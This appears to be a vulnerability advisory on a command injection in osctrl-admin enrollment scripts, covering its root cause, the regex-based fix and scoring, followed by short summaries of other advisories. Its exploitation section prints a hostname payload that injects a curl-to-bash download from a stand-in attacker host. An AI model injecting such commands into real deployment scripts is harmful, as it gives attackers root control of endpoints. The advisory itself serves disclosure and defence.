Feb 28, 2026·5 min read·33 visits
Authenticated RCE in osctrl < v0.5.0 allows attackers to compromise endpoints during enrollment by injecting commands into the hostname field.
A critical command injection vulnerability exists in the osctrl-admin component of the osctrl osquery management platform. The vulnerability allows authenticated administrators to inject arbitrary shell commands into generated enrollment scripts via the environment hostname parameter. When these scripts are executed on endpoints to install the osquery agent, the injected commands run with high privileges (typically root or SYSTEM), allowing for potential fleet-wide compromise.
A security flaw has been identified in osctrl-admin, the administrative interface for the osctrl osquery management solution. The vulnerability, classified as OS Command Injection (CWE-78), resides in the logic used to generate enrollment scripts—"one-liners" provided to administrators for deploying osquery agents to endpoints. The affected component fails to properly sanitize user-supplied configuration data before embedding it into shell (Linux/macOS) and PowerShell (Windows) scripts.
This flaw introduces a significant supply-chain risk within the managed environment. Although the vulnerability requires administrative authentication to the management console, it allows a compromised or malicious administrator to pivot from the central server to the managed endpoints. Because enrollment scripts are typically executed with elevated privileges (root or SYSTEM) to install system services, the injected commands inherit these permissions, granting the attacker full control over the target machine during the enrollment phase.
The root cause of this vulnerability is the unsafe use of Go's text/template package for generating executable scripts, combined with a lack of input validation on the hostname parameter. In the osctrl-admin backend, environment configurations allow administrators to specify a hostname where the osquery agents should connect (e.g., osctrl.example.com).
When an administrator requests an enrollment script, the backend reads a template file and substitutes the configuration values into the script text. The text/template engine performs raw string substitution and does not offer context-aware escaping for shell syntax. Consequently, if the hostname parameter contains shell metacharacters—such as semicolons (;), pipes (|), or command substitutions ($() or `)—these characters are written literally into the generated script.
For example, a legitimate script line might look like this:
./osquery-install.sh --flag --hostname \{\{ .Hostname \}\}
If the input is not sanitized, a malicious input transforms the line into valid shell logic that executes an additional command:
./osquery-install.sh --flag --hostname osctrl.com; malicious_command
The remediation for CVE-2026-28279 involves enforcing strict input validation on environment parameters before they are persisted to the database. The maintainers introduced a specific regex filter to ensure the hostname contains only safe characters (alphanumeric, dots, and hyphens).
Vulnerable Logic (Conceptual):
Previously, the HTTP handler for updating environments accepted the hostname string directly from the POST request body and saved it to the configuration store without validating its contents against a strict allow-list.
Patched Logic (v0.5.0):
A new validation function was added in pkg/environments/filters.go to reject any input containing shell metacharacters.
// pkg/environments/filters.go
const (
// Strict regex allowing only alphanumeric chars, dots, and hyphens
hostnameRegex string = `^[a-zA-Z0-9.\-]+$`
)
func HostnameFilter(s string) bool {
re := regexp.MustCompile(hostnameRegex)
return re.MatchString(s)
}The EnvsPOSTHandler in cmd/admin/handlers/post.go was updated to invoke this filter. If VerifyEnvFilters fails, the server returns an error code (400 Bad Request or 500 Internal Server Error) and refuses to save the malicious configuration, preventing the injection at the source.
Exploitation of this vulnerability requires an attacker to possess credentials for the osctrl-admin interface. Once authenticated, the attack follows a specific workflow targeting the enrollment process.
hostname field. Instead of a valid domain, they input a payload such as osctrl.local; curl http://attacker-c2.com/payload.sh | bash..sh or .ps1 one-liner) from the UI. The backend templates the malicious string directly into the command arguments of the script.sudo or as Administrator to install osquery, the shell interprets the semicolon as a command separator. It executes the osquery installation command, followed immediately by the injected curl/bash command.This attack vector is particularly dangerous because it occurs before the security agent is successfully installed and reporting. The malicious activity runs outside the visibility of the tool meant to monitor the system.
The impact of CVE-2026-28279 is rated High (CVSS 7.3) due to the potential for complete system compromise on enrolled endpoints. While the requirement for high privileges (PR:H) and user interaction (UI:R) lowers the base score, the Scope Change (S:C) reflects the critical nature of the vulnerability: a compromise of the management plane leads directly to a compromise of the managed infrastructure.
Key Risks:
CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
osctrl jmpsec | < 0.5.0 | 0.5.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| CVSS v3.1 | 7.3 (High) |
| Attack Vector | Adjacent Network |
| Exploit Status | PoC Available |
| EPSS Score | 0.00112 |
| Patch Version | 0.5.0 |
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.